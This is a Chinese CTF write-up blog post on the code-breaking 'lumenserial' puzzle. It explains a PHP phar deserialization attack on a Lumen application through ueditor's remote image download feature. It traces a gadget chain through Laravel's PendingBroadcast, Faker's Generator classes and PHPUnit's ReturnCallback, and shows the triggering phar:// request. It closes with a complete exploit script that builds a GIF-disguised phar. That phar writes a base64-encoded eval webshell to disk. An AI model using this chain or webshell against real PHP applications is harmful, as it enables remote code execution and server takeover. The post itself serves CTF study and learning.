code-breaking - lumenserial

赛题地址: https://code-breaking.com/puzzle/7/

源码下载

这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log   

导致找利用的时候需要一个品相特别好的利用链,P师傅是寻找到了一个***(暂时保密)的点,我依据call_user_func_*方面找了一些利用

这题用的是ueditor,存在远程下载的功能

$content = file_get_contents($url);
$img = getimagesizefromstring($content);
这里面其实按理`getimagesizefromstring`也是可以利用phar,不过file_get_contents中的url更好利用一点

POST /server/editor?action=Catchimage&source[]=phar:///var/www/html/xxx HTTP/1.1
Host: 51.158.73.123:8080

寻找gadget

phar反序列化第一步主要找两个魔术方法入口: __destruct|__wakeup

1、Illuminate\Broadcasting::__destruct

namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        public function __destruct(){
            $this->events->dispatch($this->event);
        }
    }
}

在这里可以通过给$this->events存放其他类从而调用其他类的__call方法

2、Faker\ValidGenerator::__call

namespace Faker{
    class ValidGenerator{
        public function __call($name, $arguments){
            $i = 0;
            do {
                $res = call_user_func_array(array($this->generator, $name), $arguments);
                $i++;
                if ($i > $this->maxRetries) {
                    die('error');
                }
            } while (!call_user_func($this->validator, $res));

            return $res;
        }
    }
}

这个是整个的利用核心,因为__call魔术方法调用过来的参数只有$this->event一个,所以这导致你只能给其他函数传一个参数,没有了命令函数、php7版本的问题(assert成为语言结构,很多函数不能动态调用)导致需要完全控制参数才行.

array(
    0 => $argv
)

在上面的代码中,先通过call_user_func_array调用,然后其结果作为后面的call_user_func的参数

ven师傅复现的时候才发现少写了一步
在上面的$res = call_user_func_array(array($this->generator, $name), $arguments);中看到,$name传过来一个dispatch

namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }
}

Faker\Generator::dispatch不存在就会调用Faker\Generator::__call,然后就会调用$this->format($method, $attributes);

public function format($formatter, $arguments = array()){
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

这个时候$formatter就是dispatch,也就是会从array("dispatch"=> array($s4_obj, "getFormatter"));中拿到了array($s4_obj, "getFormatter")
$s4_obj为新的一个Faker\Generator,目的就是为了调用它的getFormatter,这里面我总共是使用了两次Faker\Generator

3、Faker\Generator::getFormatter (解决call_user_func的参数控制)

namespace Faker{
    class Generator{
        public function getFormatter($formatter){
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }
    }
}

可以看到这里面getFormatter会返回$this->formatters[$formatter],也就是Faker\ValidGenerator::__call中第二个call_user_func的参数得到了解决,因为它可以完全被控制

$this->formatters = [
    "exploit" => ["/var/www/html/1.php","aaaa"]
];

4、(进行最终的exploit攻击)

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback implements Stub{
        public function invoke(Invocation $invocation){
            return \call_user_func_array($this->callback, $invocation->getParameters());
        }
    }
}

其中Invocation是一个接口,所以找到具体的类即可
namespace PHPUnit\Framework\MockObject\Invocation;
    class StaticInvocation implements Invocation, SelfDescribing
        public function getParameters(): array{
            return $this->parameters;
        }
    }
}

可以看到最后进入PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke$this->callback$invocation->getParameters()都是可控的

exploit

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Faker{
    class Generator{
        protected $formatters;
        function __construct($forma){
            $this->formatters = $forma;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;

        public function __construct($generator, $validator, $maxRetries = 10000){
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
}

namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        function __construct($parameters){
            $this->parameters = $parameters;
        }
    }
}

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback{
        public function __construct($callback){
            $this->callback = $callback;
        }
    }   
}

# exp func call
namespace{
    $exp_func = "file_put_contents";
    $exp_args = ["C:\\phpstudy2018\\PHPTutorial\\WWW\\ctf\\pwnhub\\lumenserial\\bbbb.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")];
    $exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($exp_args);
    $exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($exp_func);

    $tmp_arr = ["gogogo" => $exp_args_obj];
    $s4_obj = new Faker\Generator($tmp_arr);

    $get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter"));
    $s3_obj = new Faker\Generator($get_func_arr);

    $s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2);

    $s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo");
    echo urlencode(serialize($s1_obj))."\n\r\n\r";
    
    $p = new Phar('./exploit.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($s1_obj);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
}
posted @ 2018-11-26 12:04 l3m0n 阅读(...) 评论(...) 编辑 收藏